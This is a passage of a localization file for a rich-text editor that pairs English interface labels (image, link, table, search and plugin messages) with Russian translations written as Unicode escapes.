"Help": "\u041f\u043e\u043c\u043e\u0449\u044c",
"Address": "\u0410\u0434\u0440\u0435\u0441",
"Focus to menubar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432",
"Focus to element path": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0435 \u043f\u0443\u0442\u0438",
"Focus to contextual toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u044e",
"Insert link (if link plugin activated)": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 (\u0435\u0441\u043b\u0438 \u043f\u043b\u0430\u0433\u0438\u043d \u0441\u0441\u044b\u043b\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d)",
"Save (if save plugin activated)": "\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c (\u0435\u0441\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043b\u0430\u0433\u0438\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f)",
"Find (if searchreplace plugin activated)": "\u041d\u0430\u0439\u0442\u0438 (\u0435\u0441\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u043f\u043b\u0430\u0433\u0438\u043d \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0437\u0430\u043c\u0435\u043d\u044b)",
"Plugins installed ({0}):": "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 ({0}):",
"Premium plugins:": "Premium \u043f\u043b\u0430\u0433\u0438\u043d\u044b:",
"Learn more...": "\u0423\u0437\u043d\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435...",
"You are using {0}": "\u0412\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 {0}",
"Plugins": "\u041f\u043b\u0430\u0433\u0438\u043d\u044b",
"Handy Shortcuts": "\u0411\u044b\u0441\u0442\u0440\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f",
"Horizontal line": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043b\u0438\u043d\u0438\u044f",
"Insert\/edit image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Alternative description": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Accessibility": "\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c",
"Image is decorative": "\u0414\u0435\u043a\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Source": "\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Dimensions": "\u0420\u0430\u0437\u043c\u0435\u0440\u044b",
"Constrain proportions": "\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",
"General": "\u041e\u0431\u0449\u0438\u0435",
"Advanced": "\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u0441\u0442\u0443\u043f\u044b",
"Horizontal space": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u0441\u0442\u0443\u043f\u044b",
"Border": "\u0420\u0430\u043c\u043a\u0438",
"Insert image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image...": "\u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435...",
"Image list": "\u0421\u043f\u0438\u0441\u043e\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439",
"Rotate counterclockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u043e \u0447\u0430\u0441\u043e\u0432\u043e\u0439",
"Rotate clockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0447\u0430\u0441\u043e\u0432\u043e\u0439",
"Flip vertically": "\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438",
"Flip horizontally": "\u041e\u0442\u0440\u0430\u0437\u0438\u0442\u044c \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0438",
"Edit image": "\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"Image options": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Zoom in": "\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c",
"Zoom out": "\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c",
"Crop": "\u041e\u0431\u0440\u0435\u0437\u0430\u0442\u044c",
"Resize": "\u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440\u044b",
"Orientation": "\u041e\u0440\u0438\u0435\u043d\u0442\u0430\u0446\u0438\u044f",
"Brightness": "\u042f\u0440\u043a\u043e\u0441\u0442\u044c",
"Sharpen": "\u0420\u0435\u0437\u043a\u043e\u0441\u0442\u044c",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u044c",
"Color levels": "\u0426\u0432\u0435\u0442\u043e\u0432\u044b\u0435 \u0443\u0440\u043e\u0432\u043d\u0438",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Invert": "\u0418\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0432\u0435\u0442",
"Apply": "\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c",
"Back": "\u041d\u0430\u0437\u0430\u0434",
"Insert date\/time": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u0442\u0443\/\u0432\u0440\u0435\u043c\u044f",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0432\u0440\u0435\u043c\u044f",
"Insert\/edit link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Text to display": "\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442",
"Url": "Url",
"Open link in...": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u0432...",
"Current window": "\u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043e\u043a\u043d\u043e",
"None": "-",
"New window": "\u041d\u043e\u0432\u043e\u0435 \u043e\u043a\u043d\u043e",
"Open link": "\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Remove link": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443",
"Anchors": "\u042f\u043a\u043e\u0440\u044c",
"Link...": "\u0421\u0441\u044b\u043b\u043a\u0430...",
"Paste or type a link": "\u0412\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0438\u043b\u0438 \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0441\u0441\u044b\u043b\u043a\u0443",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0412\u0430\u043c\u0438 URL-\u0430\u0434\u0440\u0435\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0412\u0430\u043c\u0438 URL-\u0430\u0434\u0440\u0435\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439. \u0425\u043e\u0442\u0438\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 http: \/\/?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0412\u0430\u043c\u0438 URL-\u0430\u0434\u0440\u0435\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439. \u0425\u043e\u0442\u0438\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 https: \/\/?",
"Link list": "\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a",
"Insert video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e",
"Insert\/edit media": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c\/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0434\u0438\u0430-\u043a\u043e\u043d\u0442\u0435\u043d\u0442",
"Alternative source": "\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a",
"Alternative source URL": "URL \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430",
"Media poster (Image URL)": "\u041c\u0435\u0434\u0438\u0430-\u043a\u043e\u043d\u0442\u0435\u043d\u0442 (URL \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f)",
"Paste your embed code below:": "\u0412\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u043a\u043e\u0434 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430 \u043d\u0438\u0436\u0435:",
"Embed": "\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439",
"Media...": "\u041c\u0435\u0434\u0438\u0430-\u043a\u043e\u043d\u0442\u0435\u043d\u0442...",
"Nonbreaking space": "\u041d\u0435\u0440\u0430\u0437\u0440\u044b\u0432\u043d\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a",
"Page break": "\u0420\u0430\u0437\u0440\u044b\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b",
"Paste as text": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442",
"Preview": "\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440",
"Print...": "\u041f\u0435\u0447\u0430\u0442\u044c...",
"Save": "\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c",
"Find": "\u041d\u0430\u0439\u0442\u0438",
"Replace with": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e",
"Replace": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c",
"Replace all": "\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435",
"Previous": "\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439",
"Next": "\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439",
"Find and Replace": "\u041d\u0430\u0439\u0442\u0438 \u0438 \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c",
"Find and replace...": "\u041d\u0430\u0439\u0442\u0438 \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c...",
"Could not find the specified string.": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0439\u0442\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443.",
"Match case": "\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"Find whole words only": "\u041d\u0430\u0439\u0442\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u043e\u0432\u0430 \u0446\u0435\u043b\u0438\u043a\u043e\u043c",
"Find in selection": "\u0418\u0441\u043a\u0430\u0442\u044c \u0432 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u043c",
"Spellcheck": "\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Spellcheck Language": "\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u043e \u044f\u0437\u044b\u043a\u0443",
"No misspellings found.": "\u041e\u0448\u0438\u0431\u043e\u043a \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e.",
"Ignore": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Ignore all": "\u0418\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435",
"Finish": "\u041a\u043e\u043d\u0435\u0446",
"Add to Dictionary": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0421\u043b\u043e\u0432\u0430\u0440\u044c",
"Insert table": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"Table properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b",
"Delete table": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443",
"Cell": "\u042f\u0447\u0435\u0439\u043a\u0430",
"Row": "\u0421\u0442\u0440\u043e\u043a\u0430",
"Column": "\u0421\u0442\u043e\u043b\u0431\u0435\u0446",
"Cell properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u044f\u0447\u0435\u0439\u043a\u0438",
"Merge cells": "\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438",
"Split cell": "\u0420\u0430\u0437\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438",
"Insert row before": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0434\u043e",
"Insert row after": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0441\u043b\u0435",
"Delete row": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Row properties": "\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0442\u0440\u043e\u043a\u0438",
"Cut row": "\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Copy row": "\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443",
"Paste row before": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u0435\u0440\u0435\u0434",
"Paste row after": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0441\u043b\u0435",
"Insert column before": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0434\u043e",
"Insert column after": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u043f\u043e\u0441\u043b\u0435",
"Delete column": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0435\u0446",
"Cols": "\u0421\u0442\u043e\u043b\u0431\u0446\u044b",
"Rows": "\u0421\u0442\u0440\u043e\u043a\u0438",
"Width": "\u0428\u0438\u0440\u0438\u043d\u0430",
"Height": "\u0412\u044b\u0441\u043e\u0442\u0430",
"Cell spacing": "\u0420\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u044f\u0447\u0435\u0439\u043a\u0430\u043c\u0438",
"Cell padding": "\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u0432 \u044f\u0447\u0435\u0439\u043a\u0430\u0445",
"Caption": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Show caption": "\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u044c",
"Left": "\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Center": "\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Right": "\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Cell type": "\u0422\u0438\u043f \u044f\u0447\u0435\u0439\u043a\u0438",
"Scope": "\u041e\u0431\u043b\u0430\u0441\u0442\u044c",
"Alignment": "\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"H Align": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"V Align": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Top": "\u0421\u0432\u0435\u0440\u0445\u0443",
"Middle": "\u041f\u043e\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435",
"Bottom": "\u0421\u043d\u0438\u0437\u0443",
"Header cell": "\u0421\u0442\u0440\u043e\u043a\u0430-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Row group": "\u0421\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0438",
"Column group": "\u0421\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u043e\u043b\u0431\u0446\u044b",
"Row type": "\u0422\u0438\u043f \u0441\u0442\u0440\u043e\u043a\u0438",
"Header": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Body": "\u0422\u0435\u043b\u043e",
"Footer": "\u041f\u043e\u0434\u0432\u0430\u043b",
"Border color": "\u0426\u0432\u0435\u0442 \u0440\u0430\u043c\u043a\u0438",
"Insert template...": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d...",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430",
"Background color": "\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430",
"Custom...": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439...",
"Custom color": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0446\u0432\u0435\u0442",
"No color": "\u0411\u0435\u0437 \u0446\u0432\u0435\u0442\u0430",
"Remove color": "\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0446\u0432\u0435\u0442",
"Table of Contents": "\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435",
"Show blocks": "\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043b\u043e\u043a\u0438",
"Show invisible characters": "\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b",
"Word count": "\u0421\u0447\u0451\u0442\u0447\u0438\u043a \u0441\u043b\u043e\u0432",
"Count": "\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e",
"Document": "\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Selection": "\u0412\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435",
"Words": "\u0421\u043b\u043e\u0432\u0430",
"Words: {0}": "\u0421\u043b\u043e\u0432: {0}",
"{0} words": "{0} \u0441\u043b\u043e\u0432",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Insert": "\u0412\u0441\u0442\u0430\u0432\u043a\u0430",
"View": "\u0412\u0438\u0434",
"Format": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Table": "\u0422\u0430\u0431\u043b\u0438\u0446\u0430",
"Tools": "\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b",
"Powered by {0}": "\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F9 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043c\u0435\u043d\u044e. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-F10 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043f\u0430\u043d\u0435\u043b\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-0 \u0434\u043b\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0438",
"Image title": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",
"Border width": "\u0428\u0438\u0440\u0438\u043d\u0430 \u0440\u0430\u043c\u043a\u0438",
"Border style": "\u0421\u0442\u0438\u043b\u044c \u0440\u0430\u043c\u043a\u0438",
"Error": "\u041e\u0448\u0438\u0431\u043a\u0430",
"Warn": "\u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435",
"Valid": "\u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435",
"To open the popup, press Shift+Enter": "\u0427\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u043a\u043d\u043e, \u043d\u0430\u0436\u043c\u0438\u0442\u0435 Shift + Enter",
"Rich Text Area. Press ALT-0 for help.": "\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u0430\u0436\u043c\u0438\u0442\u0435 ALT-0 \u0434\u043b\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0438.",
"System Font": "\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0428\u0440\u0438\u0444\u0442",
"Failed to upload image: {0}": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435: {0}",
"Failed to load plugin: {0} from url {1}": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d: {0} \u0438\u0437 url {1}",
"Failed to load plugin url: {0}": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c url \u043f\u043b\u0430\u0433\u0438\u043d\u0430: {0}",
"Failed to initialize plugin: {0}": "\u041d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d: {0}",
"example": "\u043f\u0440\u0438\u043c\u0435\u0440",
"Search": "\u041f\u043e\u0438\u0441\u043a",
"All": "\u0412\u0441\u0435",
"Currency": "\u0412\u0430\u043b\u044e\u0442\u0430",
"Text": "\u0422\u0435\u043a\u0441\u0442",
"Quotations": "\u0426\u0438\u0442\u0430\u0442\u044b",
"Mathematical": "\u041c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439",
"Extended Latin": "\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0439",
"Symbols": "\u0421\u0438\u043c\u0432\u043e\u043b\u044b",
"Arrows": "\u0421\u0442\u0440\u0435\u043b\u043a\u0438",
"User Defined": "\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c",
"dollar sign": "\u0434\u043e\u043b\u043b\u0430\u0440",
"currency sign": "\u0432\u0430\u043b\u044e\u0442\u0430",
"euro-currency sign": "\u0435\u0432\u0440\u043e",
